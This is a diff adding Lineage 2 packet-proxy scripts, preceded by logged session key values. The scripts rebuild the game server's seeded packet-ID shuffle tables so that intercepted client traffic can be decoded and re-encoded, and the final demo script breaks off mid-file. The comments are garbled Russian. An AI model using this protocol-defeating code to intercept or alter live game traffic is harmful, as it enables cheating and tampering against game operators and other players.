+SETKEY:dwKeys[0] = A571A90A, dwKeys[1] = 54867FE1, dwKeys[2] = D48C82E0, dwKeys[3] = D2E8E37C;-[0]=CE4C1236,[1]=F15540AE,[2]=020A1E0A,[3]=AE95AB48; +SETKEY:dwKeys[0] = 2110F9C5, dwKeys[1] = 3F37C453, dwKeys[2] = A09245C5, dwKeys[3] = 5D52A609;-[0]=F6BE036D,[1]=C9A751F5,[2]=3AF80F51,[3]=9667BA13; +SETKEY:dwKeys[0] = 1ED2DC07, dwKeys[1] = 759FE0F9, dwKeys[2] = F57AFFCE, dwKeys[3] = F52ECE54;-[0]=B014E4F2,[1]=8F0DB66A,[2]=7C52E8CE,[3]=D0CD5D8C; +SETKEY:dwKeys[0] = 0F3A5EB3, dwKeys[1] = 34DFEA1C, dwKeys[2] = 8B1E0B01, dwKeys[3] = A1A042AF;-[0]=B1C85139,[1]=8ED103A1,[2]=7D8E5D05,[3]=D111E847; +SETKEY:dwKeys[0] = 1E760082, dwKeys[1] = CCD0F9FF, dwKeys[2] = FE25A996, dwKeys[3] = D5096CAD;-[0]=20C9CC3F,[1]=1FD09EA7,[2]=EC8FC003,[3]=40107541; +SETKEY:dwKeys[0] = EA00748C, dwKeys[1] = DCAFCD75, dwKeys[2] = 2CC27E88, dwKeys[3] = F16523F5;-[0]=EC7A6B06,[1]=D363399E,[2]=203C673A,[3]=8CA3D278; +SETKEY:dwKeys[0] = D7DD957E, dwKeys[1] = 59E2C1CE, dwKeys[2] = CC2293A5, dwKeys[3] = 7EE64535;-[0]=42077F96,[1]=7D1E2D0E,[2]=8E4173AA,[3]=22DEC6E8; +SETKEY:dwKeys[0] = 0FB6CA01, dwKeys[1] = 89EAD7AB, dwKeys[2] = 4C76EA96, dwKeys[3] = 7ADF34F7;-[0]=CE9CB6D1,[1]=F185E449,[2]=02DABAED,[3]=AE450FAF; +SETKEY:dwKeys[0] = 180C3997, dwKeys[1] = B57B72A0, dwKeys[2] = E6967401, dwKeys[3] = 69B0B47F;-[0]=5A6F758A,[1]=65762712,[2]=962979B6,[3]=3AB6CCF4; +SETKEY:dwKeys[0] = 9FF80C5D, dwKeys[1] = B070765A, dwKeys[2] = 82B57161, dwKeys[3] = AB91FE73;-[0]=7CB4AC30,[1]=43ADFEA8,[2]=B0F2A00C,[3]=1C6D154E; +SETKEY:dwKeys[0] = B90B998C, dwKeys[1] = 1DC14CB7, dwKeys[2] = 31F7EDB9, dwKeys[3] = 090DF00D;-[0]=02C6B7F7,[1]=3DDFE56F,[2]=CE80BBCB,[3]=621F0E89; +SETKEY:dwKeys[0] = ABD8AD44, dwKeys[1] = 0460A40A, dwKeys[2] = 9E82CC01, dwKeys[3] = C0167457;-[0]=5FA26E35,[1]=60BB3CAD,[2]=93E46209,[3]=3F7BD74B; +SETKEY:dwKeys[0] = 5D531A3C, dwKeys[1] = 216AE745, dwKeys[2] = 3B275E58, dwKeys[3] = EB226ED6;-[0]=C36CE09C,[1]=FC75B204,[2]=0F2AECA0,[3]=A3B559E2; +SETKEY:dwKeys[0] = AFEBB553, dwKeys[1] = ACC90216, dwKeys[2] = E720D14D, dwKeys[3] = F183B507;-[0]=46C40AA7,[1]=79DD583F,[2]=8A82069B,[3]=261DB3D9; +SETKEY:dwKeys[0] = 80E1CB48, dwKeys[1] = C8AAB900, dwKeys[2] = 4D8BA7B5, dwKeys[3] = 43010A3A;-[0]=91079C46,[1]=AE1ECEDE,[2]=5D41907A,[3]=F1DE2538; +SETKEY:dwKeys[0] = A18A253C, dwKeys[1] = F83199FA, dwKeys[2] = 8AAF320A, dwKeys[3] = 2422F777;-[0]=B8377014,[1]=872E228C,[2]=74717C28,[3]=D8EEC96A; +SETKEY:dwKeys[0] = 075E65E2, dwKeys[1] = 0C8F31ED, dwKeys[2] = 17511ABD, dwKeys[3] = E3F3DE81;-[0]=0B29D54E,[1]=343087D6,[2]=C76FD972,[3]=6BF06C30; +SETKEY:dwKeys[0] = 1939AD60, dwKeys[1] = CAD1323A, dwKeys[2] = BA6F1A91, dwKeys[3] = 2893B5FF;-[0]=600DD718,[1]=5F148580,[2]=AC4BDB24,[3]=00D46E66; +SETKEY:dwKeys[0] = 812B9592, dwKeys[1] = 2387E00D, dwKeys[2] = 3CEF59A0, dwKeys[3] = 5FF8B6FB;-[0]=9EE39705,[1]=A1FAC59D,[2]=52A59B39,[3]=FE3A2E7B; +SETKEY:dwKeys[0] = CDDDF62D, dwKeys[1] = 657957AF, dwKeys[2] = 5FE043CD, dwKeys[3] = 6FDD8737;-[0]=A6FF8188,[1]=99E6D310,[2]=6AB98DB4,[3]=C62638F6; +SETKEY:dwKeys[0] = BE7D3FC0, dwKeys[1] = ED7E1A65, dwKeys[2] = 160FD753, dwKeys[3] = 6E432787;-[0]=08971773,[1]=378E45EB,[2]=C4D11B4F,[3]=684EAE0D; +SETKEY:dwKeys[0] = 6C685042, dwKeys[1] = 5C3856F4, dwKeys[2] = F8AAFAE1, dwKeys[3] = 1E612CCE;-[0]=5A698408,[1]=6570D690,[2]=962F8834,[3]=3AB03D76; +SETKEY:dwKeys[0] = 35594516, dwKeys[1] = 39FA6B9B, dwKeys[2] = 94831C4C, dwKeys[3] = A23C3A7D;-[0]=AE7E5410,[1]=91670688,[2]=6238582C,[3]=CEA7ED6E; +SETKEY:dwKeys[0] = 17F7BDD2, dwKeys[1] = 38675459, dwKeys[2] = F511B356, dwKeys[3] = 4F820DA6;-[0]=00E073A6,[1]=3FF9213E,[2]=CCA67F9A,[3]=6039CAD8; +SETKEY:dwKeys[0] = B1643C3F, dwKeys[1] = 00EC1FBD, dwKeys[2] = D68C172A, dwKeys[3] = 83A53D9B;-[0]=5E0DC057,[1]=611492CF,[2]=924BCC6B,[3]=3ED47929; +SETKEY:dwKeys[0] = D964DDBD, dwKeys[1] = ED1FDAC6, dwKeys[2] = 2B02DED2, dwKeys[3] = 02C8A1B4;-[0]=0C839E30,[1]=339ACCA8,[2]=C0C5920C,[3]=6C5A274E; +SETKEY:dwKeys[0] = 83A44AE0, dwKeys[1] = 7FC9401B, dwKeys[2] = 66311D62, dwKeys[3] = A6E5A7BF;-[0]=5A711860,[1]=65684AF8,[2]=9637145C,[3]=3AA8A11E; +SETKEY:dwKeys[0] = 0139EE6B, dwKeys[1] = 8059A24A, dwKeys[2] = 55DF9700, dwKeys[3] = 7F9175D8;-[0]=17F59AAE,[1]=28ECC836,[2]=DBB39692,[3]=772C23D0; +SETKEY:dwKeys[0] = A3AA6ADC, dwKeys[1] = C091D4DB, dwKeys[2] = 7F4AFBFF, dwKeys[3] = AE376D10;-[0]=C9C8BEB9,[1]=F6D1EC21,[2]=058EB285,[3]=A91107C7; +SETKEY:dwKeys[0] = 0565B779, dwKeys[1] = EB383A5B, dwKeys[2] = 648E1F0C, dwKeys[3] = 02ABAE8F;-[0]=1C9492E2,[1]=238DC07A,[2]=D0D29EDE,[3]=7C4D2B9C; +SETKEY:dwKeys[0] = BA5FBEB1, dwKeys[1] = 77091B6B, dwKeys[2] = 10FB9A73, dwKeys[3] = 41EDA171;-[0]=9C04E79F,[1]=A31DB507,[2]=5042EBA3,[3]=FCDD5EE1; +SETKEY:dwKeys[0] = 921CFC4D, dwKeys[1] = 22A30F6E, dwKeys[2] = 0855431D, dwKeys[3] = 45F3E45F;-[0]=C3E0F37E,[1]=FCF9A1E6,[2]=0FA6FF42,[3]=A3394A00; +SETKEY:dwKeys[0] = 847EDB0D, dwKeys[1] = FE57DD96, dwKeys[2] = 2CEC4224, dwKeys[3] = 5CFEA1AB;-[0]=D94CC675,[1]=E65594ED,[2]=150ACA49,[3]=B9957F0B; +SETKEY:dwKeys[0] = 0000F86F, dwKeys[1] = 9C7792B2, dwKeys[2] = 4BA09236, dwKeys[3] = E8F04C4C;-[0]=07524B2F,[1]=384B19B7,[2]=CB144713,[3]=678BF251; +SETKEY:dwKeys[0] = EEAC32D9, dwKeys[1] = D129E770, dwKeys[2] = 5D21ACF7, dwKeys[3] = 6BCF54C8;-[0]=77070907,[1]=481E5B9F,[2]=BB41053B,[3]=17DEB079; +SETKEY:dwKeys[0] = ACDDDD9E, dwKeys[1] = B5167D04, dwKeys[2] = F07C6B7C, dwKeys[3] = 76E5C5B5;-[0]=99AA3C1A,[1]=A6B36E82,[2]=55EC3026,[3]=F9738564; +SETKEY:dwKeys[0] = 8F50A410, dwKeys[1] = 70E79E27, dwKeys[2] = 52EC246A, dwKeys[3] = D33FFDF7;-[0]=CE1DAFC7,[1]=F104FD5F,[2]=025BA3FB,[3]=AEC416B9; +SETKEY:dwKeys[0] = 3E15F0B1, dwKeys[1] = 92B7332A, dwKeys[2] = 25CEE3D3, dwKeys[3] = 18DA89BF;-[0]=44C9200E,[1]=7BD07296,[2]=888F2C32,[3]=24109970; +SETKEY:dwKeys[0] = D4CBB0B1, dwKeys[1] = 7AF7A14C, dwKeys[2] = 9852F88F, dwKeys[3] = DA1A8701;-[0]=1F30DD7A,[1]=20298FE2,[2]=D376D146,[3]=7FE96404; +SETKEY:dwKeys[0] = 9976B91D, dwKeys[1] = 789679A5, dwKeys[2] = D7F827F7, dwKeys[3] = 3744AB3D;-[0]=C17ADFAF,[1]=FE638D37,[2]=0D3CD393,[3]=A1A366D1; +SETKEY:dwKeys[0] = F1D4DD6E, dwKeys[1] = 3EA22346, dwKeys[2] = A14F54CC, dwKeys[3] = 83C40674;-[0]=5B6A5916,[1]=64730B8E,[2]=972C552A,[3]=3BB3E068; +SETKEY:dwKeys[0] = C724A9F3, dwKeys[1] = B96725B5, dwKeys[2] = 7B1BE518, dwKeys[3] = 21F406AB;-[0]=E2CE3E24,[1]=DDD76CBC,[2]=2E883218,[3]=8217875A; +SETKEY:dwKeys[0] = D0294EFF, dwKeys[1] = 97443B52, dwKeys[2] = D94E588E, dwKeys[3] = 1B52E6EE;-[0]=81454B24,[1]=BE5C19BC,[2]=4D034718,[3]=E19CF25A; +SETKEY:dwKeys[0] = E1B284AE, dwKeys[1] = 10F273D1, dwKeys[2] = EA692EE0, dwKeys[3] = FE1F8F47;-[0]=E02C297C,[1]=DF357BE4,[2]=2C6A2540,[3]=80F59002; +SETKEY:dwKeys[0] = 3759607E, dwKeys[1] = D75F425F, dwKeys[2] = F402846A, dwKeys[3] = 7380C265;-[0]=C504A69C,[1]=FA1DF404,[2]=0942AAA0,[3]=A5DD1FE2; +SETKEY:dwKeys[0] = 927CCB24, dwKeys[1] = 68BFB02E, dwKeys[2] = C03109F8, dwKeys[3] = BC3DDD6D;-[0]=70045EF2,[1]=4F1D0C6A,[2]=BC4252CE,[3]=10DDE78C; +SETKEY:dwKeys[0] = 6D561FDE, dwKeys[1] = 63E86DEC, dwKeys[2] = 3FBCF285, dwKeys[3] = D088D3BD;-[0]=3D03A68E,[1]=021AF416,[2]=F145AAB2,[3]=5DDA1FF0; +SETKEY:dwKeys[0] = C3263DDA, dwKeys[1] = 49EED966, dwKeys[2] = EC4FD8C7, dwKeys[3] = DA666E6F;-[0]=45A98B5F,[1]=7AB0D9C7,[2]=89EF8763,[3]=25703221; +SETKEY:dwKeys[0] = B8320B6B, dwKeys[1] = 66CF8DF9, dwKeys[2] = 0A46348D, dwKeys[3] = ABAF8B7C;-[0]=9F9A6993,[1]=A0833B0B,[2]=53DC65AF,[3]=FF43D0ED; +SETKEY:dwKeys[0] = 956CF067, dwKeys[1] = 189DB176, dwKeys[2] = 3A8A565A, dwKeys[3] = 69C47259;-[0]=3BCCD5C2,[1]=04D5875A,[2]=F78AD9FE,[3]=5B156CBC; +SETKEY:dwKeys[0] = 039D0298, dwKeys[1] = A71D8995, dwKeys[2] = E22650C7, dwKeys[3] = 3302D68B;-[0]=59926940,[1]=668B3BD8,[2]=95D4657C,[3]=394BD03E; +SETKEY:dwKeys[0] = 691E1D70, dwKeys[1] = 7FA6C59A, dwKeys[2] = 35E78BE6, dwKeys[3] = 699C380D;-[0]=3CB87C69,[1]=03A12EF1,[2]=F0FE7055,[3]=5C61C517; +SETKEY:dwKeys[0] = 905E787B, dwKeys[1] = F090E42E, dwKeys[2] = 847DE640, dwKeys[3] = A6D273ED;-[0]=C6059D83,[1]=F91CCF1B,[2]=0A4391BF,[3]=A6DC24FD; +SETKEY:dwKeys[0] = B25A9F9A, dwKeys[1] = E74EECD3, dwKeys[2] = 321B831E, dwKeys[3] = 1AE384E3;-[0]=F4464E41,[1]=CB5F1CD9,[2]=3800427D,[3]=949FF73F; +SETKEY:dwKeys[0] = 79CE9CFE, dwKeys[1] = EDC6A313, dwKeys[2] = 1D0D7C1F, dwKeys[3] = A21BB623;-[0]=B42F56D0,[1]=8B360448,[2]=78695AEC,[3]=D4F6EFAE; +SETKEY:dwKeys[0] = D865C19B, dwKeys[1] = E0970903, dwKeys[2] = DB27E95C, dwKeys[3] = AE032B83;-[0]=DD47C65B,[1]=E25E94C3,[2]=1101CA67,[3]=BD9E7F25; +SETKEY:dwKeys[0] = E1D45259, dwKeys[1] = 83CFE345, dwKeys[2] = D1D2A229, dwKeys[3] = 059E0632;-[0]=F2B801D1,[1]=CDA15349,[2]=3EFE0DED,[3]=9261B8AF; +SETKEY:dwKeys[0] = B36062B9, dwKeys[1] = 94336867, dwKeys[2] = A10EA31E, dwKeys[3] = 48580180;-[0]=717491F1,[1]=4E6DC369,[2]=BD329DCD,[3]=11AD288F; +SETKEY:dwKeys[0] = A68607E0, dwKeys[1] = 3B689B3B, dwKeys[2] = FBB698B2, dwKeys[3] = E97FCBDD;-[0]=980C598C,[1]=A7150B14,[2]=544A55B0,[3]=F8D5E0F2; +SETKEY:dwKeys[0] = 2699188B, dwKeys[1] = 1EAA6F7E, dwKeys[2] = 4A9D6CC7, dwKeys[3] = AB62DF21;-[0]=57CA617E,[1]=68D333E6,[2]=9B8C6D42,[3]=3713D800; +SETKEY:dwKeys[0] = 5103CD44, dwKeys[1] = ECAF9219, dwKeys[2] = E8DE800E, dwKeys[3] = 21716BFF;-[0]=B2D183EE,[1]=8DC8D176,[2]=7E978FD2,[3]=D2083A90; +SETKEY:dwKeys[0] = E77832A4, dwKeys[1] = FA7010EF, dwKeys[2] = 3D2A0B0F, dwKeys[3] = 8627046E;-[0]=D7050BC5,[1]=E81C595D,[2]=1B4307F9,[3]=B7DCB2BB; +SETKEY:dwKeys[0] = B545C76D, dwKeys[1] = EE5F4CFC, dwKeys[2] = 38C50CE6, dwKeys[3] = 46136CA7;-[0]=97355211,[1]=A82C0089,[2]=5B735E2D,[3]=F7ECEB6F; +SETKEY:dwKeys[0] = B6AF7CED, dwKeys[1] = 2F4C7D6F, dwKeys[2] = 160D8A07, dwKeys[3] = 49114AEC;-[0]=B2C4F290,[1]=8DDDA008,[2]=7E82FEAC,[3]=D21D4BEE; +SETKEY:dwKeys[0] = 61CA617C, dwKeys[1] = E32F7D71, dwKeys[2] = 4379EFEC, dwKeys[3] = C79022AC;-[0]=F80CCC55,[1]=C7159ECD,[2]=344AC069,[3]=98D5752B; +SETKEY:dwKeys[0] = 7597FB64, dwKeys[1] = CF1C9F6F, dwKeys[2] = F87F4FD9, dwKeys[3] = B3D4F933;-[0]=7BEE350F,[1]=44F76797,[2]=B7A83933,[3]=1B378C71; +SETKEY:dwKeys[0] = BC2B09E4, dwKeys[1] = 256ABD2E, dwKeys[2] = 578D0A56, dwKeys[3] = DC856DAF;-[0]=6527A491,[1]=5A3EF609,[2]=A961A8AD,[3]=05FE1DEF; diff --git a/docs/corrector-2.fsc b/docs/corrector-2.fsc new file mode 100644 index 0000000..61c3561 --- /dev/null +++ b/docs/corrector-2.fsc @@ -0,0 +1,197 @@ +// corrector-3.fsc CT2.2 version +// ne?eio aey aiiieieoaeuiiai [aa]eiae?iaaiey ID enoiayueo iaeaoia aaeina?aa?a +// a ianoiyuaa a?aiy, ii aeaeiiio, io?ai oieuei aey ioa. +// Aaoiii?aaaeaiea LA2 aie?ii auou AEE??AII. +// + +var + +_seed : integer; // random generator seed for mixing id tables +_1_byte_table : string; +_2_byte_table : string; +_2_byte_table_size: integer; +_id_mix : boolean; + + +temp_seed : integer; +CharName : string; + +Procedure OnCreate; +begin + + _id_mix := false; + +end; + +procedure _pseudo_srand(seed : integer); +begin + _seed := seed; +end; + +function _pseudo_rand: integer; +var + a : integer; +begin + a := (Int64(_seed) * $343fd + $269EC3) and $FFFFFFFF; + _seed := a; + result := (_seed shr $10) and $7FFF; +// writelogln(format('rand = %x; seed = %x',[result, _seed])); +end; + +procedure _init_tables(seed: integer; _2_byte_size: integer); +var + i : integer; + x : byte; + rand_pos : integer; + cur_pos : integer; +begin + + _1_byte_table := ''; + _2_byte_table := ''; + + _2_byte_table_size := _2_byte_size; + + for i := 0 to $D0 do begin + _1_byte_table := _1_byte_table + chr(i); + end; + for i := 0 to _2_byte_size do begin + _2_byte_table := _2_byte_table + chr(i) + #$0; + end; + _pseudo_srand(seed); + for i := 2 to $D1 do begin + rand_pos := (_pseudo_rand mod i) + 1; + x := GInt(_1_byte_table, rand_pos, 1); + PInt(_1_byte_table, GInt(_1_byte_table, i, 1), rand_pos, 1); + PInt(_1_byte_table, x, i, 1); + end; + + cur_pos := 3; + for i := 2 to _2_byte_size+1 do begin + rand_pos := _pseudo_rand mod i; + x := GInt(_2_byte_table, rand_pos * 2 + 1 , 2); + PInt(_2_byte_table, GInt(_2_byte_table, cur_pos, 2), rand_pos * 2 + 1, 2); + PInt(_2_byte_table, x, cur_pos, 2); + cur_pos := cur_pos + 2; + end; + + cur_pos := Pos(#$12, _1_byte_table); + x := GInt(_1_byte_table, $13, 1); + PInt(_1_byte_table, $12, $13, 1); + PInt(_1_byte_table, x, cur_pos, 1); + + cur_pos := Pos(#$B1, _1_byte_table); + x := GInt(_1_byte_table, $B2, 1); + PInt(_1_byte_table, $B1, $B2, 1); + PInt(_1_byte_table, x, cur_pos, 1); + + writelogln('one byte table'); + writeloghexB(_1_byte_table); + writelogln('two byte table'); + writeloghexB(_2_byte_table); + + _id_mix := true; +end; + +procedure _decode_ID(var buff:string); +var + p: integer; +begin +// writelogln(format('changing %x -> %x',[GInt(buff, 3, 1),GInt(_1_byte_table, GInt(buff, 3, 1)+1, 1) ])); + writelogln(format('id changed %x -> %x',[GInt(buff, 3, 1), GInt(_1_byte_table, GInt(buff, 3, 1) + 1, 1)])); + PInt(buff, GInt(_1_byte_table, GInt(buff, 3, 1) + 1, 1) , 3, 1); + if GInt(buff, 3, 1) = $D0 then begin + if GInt(buff, 4, 1) > _2_byte_table_size then begin + writelogln(format('incompatible subID %x detected',[GInt(buff, 4, 1)])); + writelogln('packet - blocked, terminating....'); + gBlockPacket; + gSys.Killself; + end; + writelogln(format('sub id changed %x -> %x',[GInt(buff, 4, 1), GInt(_2_byte_table, GInt(buff, 4, 1) * 2 + 1, 1)] )); + PInt(buff, GInt(_2_byte_table, GInt(buff, 4, 1) * 2 + 1, 1) , 4, 1); + end; +end; + +procedure _encode_ID(var buff:string); +var + p: integer; +begin + if GInt(buff, 3, 1) = $D0 then begin + p:= pos(Chr(GInt(buff, 4, 1)), _2_byte_table); + writelogln(format('changing back subID %x -> %x', [ GInt(buff, 4, 1), ((p + 1) shr 1) - 1 ])); + PInt(buff, ((p + 1) shr 1) - 1, 4, 1); + + end; + p := pos(Chr(GInt(buff, 3, 1)), _1_byte_table); + writelogln(format('changing back ID %x -> %x',[GInt(buff, 3, 1), p-1])); + + PInt(buff, p-1, 3, 1); + + +end; + + + +Procedure OnDeCodeAlt; +begin + if _id_mix and (not _dFromServ) then begin + + _dOutBuff := _dBuff; + _Decode_ID(_dOutBuff); + + end; + +end; + +Procedure OnEnCodeAlt; +begin + + if _id_mix and (not _dFromServ) then begin + + _dOutBuff := _dBuff; + _Encode_ID(_dOutBuff); + + end; + +end; + + + +begin + // CT2.2 einoueu + + if (gSys.TrafType = 2) and (gSys.Protocol = 12) then begin + gSys.Protocol := 871; + if gSys.isGS > 0 then gSys.isGS := 3; + end; + + + // ii?aaaeaiea o?aoeea e onoaiiaea oaaeeo + // ?anoeay i?eaycea e eniieucoaiiio aa?eaioo i?ioieiea + + if _gAbsNumPkt = 2 then begin + + if (gSys.TrafType = 2) and (gSys.isGS = 3) and (Length(_gBuff) = $19) then begin + if gSys.Protocol = 871 then _init_tables(GInt(_dBuff, $16, 4), $58); // CT2.2 + if gSys.Protocol = 851 then _init_tables(GInt(_dBuff, $16, 4), $55); // CT2 + if gSys.Protocol = 831 then _init_tables(GInt(_dBuff, $16, 4), $4E); // CT1.5+ + + + end; +// writelogln(format('TrafType = %d, isGS= %d, Protocol = %d',[gSys.TrafType, gSys.isGS, gSys.Protocol])); + + + end; + + + if _id_mix and (GInt(_gBuff, 3, 1) = $0B) then begin + + ScanPck5(_gBuff, 4, 's-99-99-04d' ,CharName, temp_seed, null, null, null); + writelogln(format('reseting id tables on CharSelected; Seed = %x',[temp_seed])); + _init_tables(temp_seed,_2_byte_table_size); + + end; + + + + +end. \ No newline at end of file diff --git a/docs/corrector-gracia1.fsc b/docs/corrector-gracia1.fsc new file mode 100644 index 0000000..cc9cbcb --- /dev/null +++ b/docs/corrector-gracia1.fsc @@ -0,0 +1,190 @@ +// corrector-3.fsc ñêðèïò äëÿ äîïîëíèòåëüíîãî [äå]êîäèðîâàíèÿ ID èñõîäÿùèõ ïàêåòîâ ãåéìñåðâåðà +// â íàñòîÿùåå âðåìÿ, ïî âèäèìîìó, íóæåí òîëüêî äëÿ îôà. +// Àâòîîïðåäåëåíèå LA2 äîëæíî áûòü ÂÊËÞ×ÅÍÎ. +// + +var + +_seed : integer; // random generator seed for mixing id tables +_1_byte_table : string; +_2_byte_table : string; +_2_byte_table_size: integer; +_id_mix : boolean; + + +temp_seed : integer; +CharName : string; + +Procedure OnCreate; +begin + + _id_mix := false; + +end; + +procedure _pseudo_srand(seed : integer); +begin + _seed := seed; +end; + +function _pseudo_rand: integer; +var + a : integer; +begin + a := (Int64(_seed) * $343fd + $269EC3) and $FFFFFFFF; + _seed := a; + result := (_seed shr $10) and $7FFF; +// writelogln(format('rand = %x; seed = %x',[result, _seed])); +end; + +procedure _init_tables(seed: integer; _2_byte_size: integer); +var + i : integer; + x : byte; + rand_pos : integer; + cur_pos : integer; +begin + + _1_byte_table := ''; + _2_byte_table := ''; + + _2_byte_table_size := _2_byte_size; + + for i := 0 to $D0 do begin + _1_byte_table := _1_byte_table + chr(i); + end; + for i := 0 to _2_byte_size do begin + _2_byte_table := _2_byte_table + chr(i) + #$0; + end; + _pseudo_srand(seed); + for i := 2 to $D1 do begin + rand_pos := (_pseudo_rand mod i) + 1; + x := GInt(_1_byte_table, rand_pos, 1); + PInt(_1_byte_table, GInt(_1_byte_table, i, 1), rand_pos, 1); + PInt(_1_byte_table, x, i, 1); + end; + + cur_pos := 3; + for i := 2 to _2_byte_size+1 do begin + rand_pos := _pseudo_rand mod i; + x := GInt(_2_byte_table, rand_pos * 2 + 1 , 2); + PInt(_2_byte_table, GInt(_2_byte_table, cur_pos, 2), rand_pos * 2 + 1, 2); + PInt(_2_byte_table, x, cur_pos, 2); + cur_pos := cur_pos + 2; + end; + + cur_pos := Pos(#$12, _1_byte_table); + x := GInt(_1_byte_table, $13, 1); + PInt(_1_byte_table, $12, $13, 1); + PInt(_1_byte_table, x, cur_pos, 1); + + cur_pos := Pos(#$B1, _1_byte_table); + x := GInt(_1_byte_table, $B2, 1); + PInt(_1_byte_table, $B1, $B2, 1); + PInt(_1_byte_table, x, cur_pos, 1); + + writelogln('one byte table'); + writeloghexB(_1_byte_table); + writelogln('two byte table'); + writeloghexB(_2_byte_table); + + _id_mix := true; +end; + +procedure _decode_ID(var buff:string); +var + p: integer; +begin +// writelogln(format('changing %x -> %x',[GInt(buff, 3, 1),GInt(_1_byte_table, GInt(buff, 3, 1)+1, 1) ])); + writelogln(format('id changed %x -> %x',[GInt(buff, 3, 1), GInt(_1_byte_table, GInt(buff, 3, 1) + 1, 1)])); + PInt(buff, GInt(_1_byte_table, GInt(buff, 3, 1) + 1, 1) , 3, 1); + if GInt(buff, 3, 1) = $D0 then begin + if GInt(buff, 4, 1) > _2_byte_table_size then begin + writelogln(format('incompatible subID %x detected',[GInt(buff, 4, 1)])); + writelogln('packet - blocked, terminating....'); + gBlockPacket; + gSys.Killself; + end; + writelogln(format('sub id changed %x -> %x',[GInt(buff, 4, 1), GInt(_2_byte_table, GInt(buff, 4, 1) * 2 + 1, 1)] )); + PInt(buff, GInt(_2_byte_table, GInt(buff, 4, 1) * 2 + 1, 1) , 4, 1); + end; +end; + +procedure _encode_ID(var buff:string); +var + p: integer; +begin + if GInt(buff, 3, 1) = $D0 then begin + p:= pos(Chr(GInt(buff, 4, 1)), _2_byte_table); + writelogln(format('changing back subID %x -> %x', [ GInt(buff, 4, 1), ((p + 1) shr 1) - 1 ])); + PInt(buff, ((p + 1) shr 1) - 1, 4, 1); + + end; + p := pos(Chr(GInt(buff, 3, 1)), _1_byte_table); + writelogln(format('changing back ID %x -> %x',[GInt(buff, 3, 1), p-1])); + + PInt(buff, p-1, 3, 1); + + +end; + + + +Procedure OnDeCodeAlt; +begin + if _id_mix and (not _dFromServ) then begin + + _dOutBuff := _dBuff; + _Decode_ID(_dOutBuff); + + end; + +end; + +Procedure OnEnCodeAlt; +begin + + if _id_mix and (not _dFromServ) then begin + + _dOutBuff := _dBuff; + _Encode_ID(_dOutBuff); + + end; + +end; + + + +begin + + // îïðåäåëåíèå òðàôèêà è óñòàíîâêà òàáëèö + // æåñòêàÿ ïðèâÿçêà ê èñïîëüçóåìîìó âàðèàíòó ïðîòîêîëà + + if _gAbsNumPkt = 2 then begin + + if (gSys.TrafType = 2) and (gSys.isGS = 3) and (Length(_gBuff) = $19) then begin + if gSys.Protocol = 851 then _init_tables(GInt(_dBuff, $16, 4), $55); // CT2 + if gSys.Protocol = 831 then _init_tables(GInt(_dBuff, $16, 4), $4E); // CT1.5+ + + + end; +// writelogln(format('TrafType = %d, isGS= %d, Protocol = %d',[gSys.TrafType, gSys.isGS, gSys.Protocol])); + + + end; + + + if _id_mix and (GInt(_gBuff, 3, 1) = $0B) then begin + + ScanPck5(_gBuff, 4, 's-99-99-04d' ,CharName, temp_seed, null, null, null); + writelogln(format('reseting id tables on CharSelected; Seed = %x',[temp_seed])); + _init_tables(temp_seed,_2_byte_table_size); + + end; + + + + +end. + + diff --git a/docs/demo_la2endecGS4m2.fsc b/docs/demo_la2endecGS4m2.fsc new file mode 100644 index 0000000..7a9ad05 --- /dev/null +++ b/docs/demo_la2endecGS4m2.fsc @@ -0,0 +1,373 @@ +// 'demo_la2-endecGS-4m.fsc' Ïðèìåð ðó÷íîãî äåêîäèðîâàíèÿ LA2 GS ïàêåòîâ. Ñòàíäàðòíûé àëãîðèòì. +// âíóòðåííåå àâòîîïðåäåëåíèå è àâòîäåêîäèðîâàíèå ÍÅ ÈÑÏÎËÜÇÓÅÒÑß, îíî îòêëþ÷àåòñÿ (â ñêðèïòå). +// +// îïðåäåëåíèå òðàôèêà è äå/êîäèðîâàíèå GS ïîëíîñòüþ íà ñêðèïòå. +// +// èñïîëüçóþòñÿ ñîáûòèÿ-ôóíêöèè 'OnDeCode' è 'OnEnCode' +// +// (äëÿ ðàáîòû ñêðèïòà íåîáõîäèì WP507F èëè âûøå) +// â ïðèìåðå èñïîëüçóåòñÿ ðó÷íàÿ äå/êîäèðîâêà GS ïàêåòîâ C4/C5/Interlude ñòàíäàðòíûì àëãîðèòìîì. +// ñêðèïò FS +// +// 'demo_la2-endecGS-4m.fsc' ýòî ìîäèôèêàöèÿ ñêðèïòà 'demo_la2-endecGS-4.fsc' +// äîáàâëåíî îïðåäåëåíèå Êàìàýëü â GS3 (äëÿ WP507F íàäî ñêà÷àòü ôàéëû îïðåäåëåíèÿ) +// + +var // áóäåì èñïîëüçîâàòü ëîêàëüíûå êëþ÷è, à íå âíóòðåííèå (õîòÿ ìîæíî ëþáûå, áåç ðàçíèöû) + Kci : string;// - äëÿ ïàêåòîâ ïðèøåäøèõ ñ êëèåíòà. + Kco : string;// - äëÿ ïàêåòîâ óõîäÿùèõ íà êëèåíò. + Ksi : string;// - äëÿ ïàêåòîâ ïðèøåäøèõ ñ ñåðâåðà. + Kso : string;// - äëÿ ïàêåòîâ óõîäÿùèõ íà ñåðâåð. + s,s1 : string; + scode : boolean; + le : integer; + ID : integer; + CharName : string; + + _seed : integer; // random generator seed for mixing id tables + _1_byte_table : string; + _2_byte_table : string; + _id_mix : boolean; + + temp_seed : integer; + +Procedure OnCreate; // ôóíêöèÿ-ñîáûòèå íà ñòàðò ñêðèïòà. +// ýòà ô-öèÿ âûçûâàåòñÿ àâòîìàòè÷åñêè ïðè ñòàðòå ñêðèïòà (åùå äî ïåðâîãî ïàêåòà) +// ô-öèÿ íå îáÿçàòåëüíà è ìîæåò îòñóòñòâîâàòü â ñêðèïòàõ ... +begin + // + // Ïîîòêëþ÷àåì âñå ÀÂÒÎîïðåäåëåíèÿ è ÀÂÒÎäåêîäèðîâàíèÿ: + // + gSys.TrafType := 0; // îòêëþ÷èì âíóòðåííåå àâòîîïðåäåëåíèå òðàôèêà + gSys.tPDecode := 0; // îòêëþ÷èì âíóòðåííåå àâòîäåêîäèðîâàíèå + gSys.tKeyType := 0; // îòêëþ÷èì íà÷àëüíîå àâòîîïðåäåëåíèå êëþ÷à + gSys.Protocol := -1; // ïðîòîêîë ñîåäèíåíèÿ (ó LS è GS ðàçíûå ! îáû÷íî ãîâîðÿò î ïðîòîêîëå GS) + gSys.isGS := 0; + gSys.isLS := 0; + gSys.tParse := 2; // òèï ïàðñèíãà ïàêåòîâ (äâóõáàéòîâûé ðàçìåð â íà÷àëå ïàêåòà) + // + scode := false; // ôëàã äå/êîäèðîâàíèÿ GS + 